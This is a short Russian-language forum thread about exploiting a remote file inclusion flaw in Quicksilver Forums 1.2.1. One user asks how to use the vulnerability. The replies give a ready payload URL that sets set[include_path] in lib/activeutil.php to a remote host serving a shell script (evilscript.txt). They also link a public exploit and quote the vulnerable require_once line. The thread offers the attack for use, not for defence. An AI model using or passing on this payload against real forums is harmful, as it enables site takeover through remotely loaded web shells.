![]() |
Quicksilver Forums 1.2.1
http://www.securitylab.ru/vulnerability/273870.php
люди помогите разобраться с уязвимостью , как ее использовать ? P.S в поиске пусто |
О.o очень просто. Береш уязвимый форум и подставляеш в адресной строке:
lib/activeutil.php?set[include_path]="сайт с шеллом например rst" Пример: например есть сайт с форумом http://localhost Там есть форум http://localhost/forum/ Пишем: http://localhost/forum/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt? |
а что означает [include_path] ???
|
http://www.milw0rm.com/exploits/2356
require_once $set['include_path'] . '/lib/bbcode.php'; Кароче [include_path] так и оставляй =) |
| Время: 08:57 |